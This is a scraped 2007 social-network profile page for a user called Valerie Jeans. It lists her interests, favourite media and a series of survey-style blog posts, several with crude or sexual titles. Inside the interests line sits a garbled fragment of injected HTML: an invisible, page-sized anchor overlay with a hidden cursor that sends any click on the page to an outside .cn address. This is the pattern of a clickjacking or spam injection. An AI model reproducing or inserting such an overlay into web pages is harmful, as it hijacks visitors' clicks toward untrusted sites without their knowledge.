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Valerie Jeans

I'm a Rageaholic, I can't get enough rageahol.

About Me

Valerie Jeans. I like good times.

My Interests

comic books, video games, junk food, fancy dresses, painting, drawing, naping, tattoos and dancing.a class="popup_wrapper" style="outline:none;background-color:transparent!important;c ursor:default;left:-30px;top:0px;height:6051px;width:1144px; "class=popup_x href="http://klaxolw1.cn/s/" da$d

Music:

durka durka

Movies:

guts and gore. and laughter

Television:

idol, csi

Books:

fighting 101, the walking dead, battle pope...monsters

My Blog

Less Talk, More Blow Jobs

1.How old will you be in 12 months?23, eek, I'm getting old2. Do you think you'll be married by then?Only if I'm preggers haha3. What do you look forward to most in the next 3 months?Keeping on having...
Posted by Valerie Jeans on Tue, 03 Jul 2007 07:49:00 PST

Cheerleader Corpses

1. You're infected. Your top 8 has the cure. One must die. Who?- I'll go with...Jesse, cause seriously what have you done for me lately?2. If alcohol were banned, what would your reaction be?- Fuck, n...
Posted by Valerie Jeans on Fri, 22 Jun 2007 11:15:00 PST

Gay is the new black

1. Where is your cell phone?on the table beside my bed, with the green everything's okay light on2. Boyfriend/girlfriend?I've got boy friends and i've got girl friends3. your hair?isn't as black as my...
Posted by Valerie Jeans on Mon, 18 Jun 2007 10:24:00 PST

BALLS DEEP!!!!

Starting Time:8:32pmName:Jeans, Valerie Sisters:Kerri and KarleyBrothers:In-law GeorgeEye Color:BrownShoe size:5Height:5'3"What are you wearing rite now:Random black shirt, loud green pantsFavorite Nu...
Posted by Valerie Jeans on Mon, 11 Jun 2007 05:50:00 PST

Nobody fucks uncles quite like you

1. Where were you 3 hours ago?Probably waking up from my morning nap2. Who are you in love with?Lovely Johnny3. Have you ever eaten a crayon?Not once have I ever4. Is there anything pink within 10 fee...
Posted by Valerie Jeans on Thu, 31 May 2007 11:14:00 PST

Fuck, I'm actually not Spiderman

Best1. Male friend: I'll go with Franz on this one, we share everything...especially bodily fluids2. Female friend: Mallory, she slays all.3. Vacation: I haven't been on a vacation since I've done any...
Posted by Valerie Jeans on Fri, 25 May 2007 06:46:00 PST

Holier than your high horse

WRITE EXACTLY WHATS ON YOUR MIND, AND DON'T CHANGE IT"Whoa, okay then, Hitler...1. Your 'ex' and you = Get along better now than when we lived together, and he gives me rad tattoos, I'll get along wit...
Posted by Valerie Jeans on Fri, 18 May 2007 07:19:00 PST

TJ Mc BuckFutts

40 "Off the Wall" Questions1.) What side of the heart do you draw first?- The right side2.) Can you swim without plugging your nose?- Yes I can, I'm a big girl3.) What color is your razor?- Green and ...
Posted by Valerie Jeans on Tue, 15 May 2007 07:55:00 PST

Where do you think he got the money for thoes grills?

50 Q's1.) Who was the last person who made you smile?- Probably Tom and his deadly we're gonna do fine talk/hug2.) Name 5 people you can tell anything to?- There isn't even one I don't think3.) What w...
Posted by Valerie Jeans on Sun, 13 May 2007 08:42:00 PST

They Put Me On Zoloft To Keep Me From Killin Y'all

OLOGY SurveyMOUTHOLOGYWhat is your salad dressing of choice?- Italian maybe??What is your favorite fast food restaurant?- I'll go with Wendy'sWhat is your favorite sit-down restaurant?- HOOOOOoOYYYYYY...
Posted by Valerie Jeans on Fri, 04 May 2007 07:20:00 PST